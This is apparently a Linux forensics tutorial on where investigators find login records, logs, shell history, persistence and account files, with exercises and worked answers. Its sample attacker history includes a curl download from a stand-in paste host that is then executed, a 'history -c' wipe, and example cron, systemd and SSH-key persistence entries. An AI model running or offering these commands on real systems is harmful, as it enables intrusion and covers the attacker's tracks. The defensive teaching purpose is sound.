1 Where the artefacts live
| Artefact | Location | Tells you |
|---|---|---|
| Login records | /var/log/wtmp (logins), /var/log/btmp (failed), /var/run/utmp (now), /var/log/lastlog | who logged in, from where, for how long; reboots |
| Authentication log | /var/log/auth.log (Debian, Ubuntu), /var/log/secure (RHEL, Fedora) | SSH logins and failures, sudo, user changes |
| System log, journal | /var/log/syslog or messages; /var/log/journal/<machine-id>/*.journal | services, kernel messages (USB devices), everything systemd sees |
| Shell history | ~/.bash_history, ~/.zsh_history, ~/.python_history | commands a user typed |
| SSH | ~/.ssh/authorized_keys, known_hosts, /etc/ssh/sshd_config | who may log in with a key; where this user connected to |
| Accounts | /etc/passwd, /etc/shadow, /etc/group, /etc/sudoers(.d) | users, password changes, administrators |
| Scheduled jobs | /etc/crontab, /etc/cron.*/, /var/spool/cron/crontabs/, systemd timers | persistence and automation |
| Services | /etc/systemd/system/, ~/.config/systemd/user/ | persistence: what starts at boot or login |
| Packages | /var/log/dpkg.log, /var/log/apt/history.log, /var/log/dnf.log | what was installed or removed, and when |
| Desktop | ~/.local/share/recently-used.xbel, ~/.cache/thumbnails/, ~/.local/share/Trash/ | files opened, pictures viewed, deleted files with their original path |
File-system timestamps (ext4: access, modify, change and birth time with nanoseconds) are explained on
the ext4 page. Note that touch can fake mtime and atime, but not ctime.
2 wtmp: the records behind last
wtmp is a plain array of fixed-size struct utmp records, appended by
login, sshd and systemd. On 64-bit Linux with glibc each record is
384 bytes. A login writes a USER_PROCESS record; the logout writes a
DEAD_PROCESS record with the same terminal and PID but an empty user. last pairs them up.
What last -F reports (builder output)
Because the file is just an array, removing a record is easy for an attacker with root rights (tools exist that
do exactly that). Look for gaps: a login without logout while the auth log shows one, records out of time
order, or a file that starts much later than the system was installed. Compare with auth.log and
the journal, which are written by other processes.
3 Logs and the journal
The same root login from the last wtmp record, as sshd writes it to auth.log:
Sep 14 22:31:07 build-07 sshd[3388]: Failed password for root from 198.51.100.23 port 50122 ssh2 Sep 14 22:31:09 build-07 sshd[3388]: Accepted password for root from 198.51.100.23 port 50122 ssh2 Sep 14 22:31:09 build-07 sshd[3388]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0) Sep 14 22:31:12 build-07 sudo: robin : TTY=tty1 ; PWD=/home/robin ; USER=root ; COMMAND=/usr/bin/journalctl -f
Two classic traps: the traditional syslog format has no year and no time zone, so you must take both from
the context (log rotation dates, the system's /etc/localtime). And "Accepted password for root"
means root login over SSH with a password was allowed, a configuration finding of its own
(PermitRootLogin in sshd_config).
The systemd journal is a binary, indexed format. Each entry carries UTC timestamps in microseconds, a
boot ID and the process that wrote it. Read a copied journal with
journalctl --file=system.journal -o verbose or --directory=; filter with
_COMM=sshd, _SYSTEMD_UNIT= or --since. journalctl --list-boots
gives every boot with its first and last entry, a cheap system timeline. Many distributions keep the journal only
in memory (/run/log/journal) unless /var/log/journal exists, so it may be gone after a
reboot.
4 Shell history
bash writes its history to ~/.bash_history when the shell exits, and by default
without timestamps. Only if HISTTIMEFORMAT was set does it add a #<Unix time>
line before each command; zsh with extended history writes : <time>:<duration>;command.
#1789425145 apt install socat #1789425190 curl -s https://paste.example.org/raw/k2v9 -o /tmp/.x #1789425202 chmod +x /tmp/.x && /tmp/.x #1789425260 history -c
The file only looks like this if history is written after every command (e.g.
PROMPT_COMMAND='history -a'). With the defaults, history -c empties the in-memory list, so
the commands of that session never reach the file at all, which is exactly why attackers use it.
Anti-forensics leaves its own traces: history -c, unset HISTFILE, a history file
linked to /dev/null, or a shell killed with kill -9 (history never written). Commands
typed with a leading space are skipped if HISTCONTROL=ignorespace. Absence of history is not
absence of activity; check the auth log (sudo lines), the journal and file times in
/tmp.
5 Persistence
Where an attacker makes sure to come back. Check the times of these files against your timeline:
# crontab line (/var/spool/cron/crontabs/root): every 10 minutes */10 * * * * /tmp/.x >/dev/null 2>&1 # systemd unit (/etc/systemd/system/sync-agent.service) [Unit] Description=Sync agent [Service] ExecStart=/opt/.sync/agent --quiet Restart=always [Install] WantedBy=multi-user.target # key for password-less SSH login (~/.ssh/authorized_keys) ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI… attacker@example
Also look at ~/.bashrc and ~/.profile, /etc/rc.local,
/etc/ld.so.preload (a library loaded into every program), new accounts with UID 0 in
/etc/passwd, and files in /etc/sudoers.d/. systemctl list-unit-files on a
live system, or a listing of the unit folders on an image, shows what is enabled.
6 passwd and shadow
/etc/passwd robin:x:1000:1000:Robin,,,:/home/robin:/bin/bash /etc/shadow robin:$y$j9T$Kd2…$Qe7…:20710:0:99999:7:::
passwd fields: name, password placeholder (x = in shadow), UID, GID, comment, home,
shell. In shadow the second field is the password hash ($y$ = yescrypt, $6$
= SHA-512 crypt; ! or * = locked) and the third field is the date of the last password
change, in days since 1970-01-01. Multiply by 86,400 to get Unix seconds.
7 Try it yourself
Answer from the hex view in section 2 and the text above.
From which address did the root login come?
Record 5, field ut_host (offset +76 in the record). ut_addr_v6 holds
the same address as 4 bytes.
198.51.100.23. The bytes at 0x75C are C6 33 64 17 = 198,
51, 100, 23 in network byte order. last shows this session as "still logged in": there is no
matching DEAD_PROCESS for pts/1.
How long did robin's SSH session on pts/0 last, in whole minutes (rounded down)?
Pair the USER_PROCESS and DEAD_PROCESS records of pts/0
and subtract their tv_sec values.
1,789,390,547 − 1,789,387,803 = 2,744 s = 45 min 44 s, so 45 minutes (12:10:03 to
12:55:47 UTC). last prints (00:45).
Which ut_type marks the end of a session?
Compare records 3 and 4.
8 DEAD_PROCESS. Record 4 has ut_line "pts/0" and PID 2,211 like the
login in record 3, but an empty user and host.
robin's shadow entry has 20710 in the third field. When was the password
last changed?
Read section 6 again: what unit does that field count?
Days since 1970: 20,710 × 86,400 = 1,789,344,000 = 2026-09-14 00:00 UTC. Only the day is stored, not the time. On a timeline this is the same day as the logins above.
These are the first 80 bytes of record 5 (the root login, file offset 0x600); offsets below count
from the start of the record. Edit them and watch the decoder:
- Change
ut_typeat+0x00from07to08. The login becomes a logout record. Which fields would an attacker also have to change to make it look real? - Reset, then overwrite the user
72 6F 6F 74("root", at+0x2C) with72 6F 62 69. The record now names "robi". Why wouldauth.logstill give it away? - The PID here is 3,391, while
auth.logshowssshd[3388]. Which process does each number belong to? (OpenSSH logs from its monitor process; the session gets a child process.)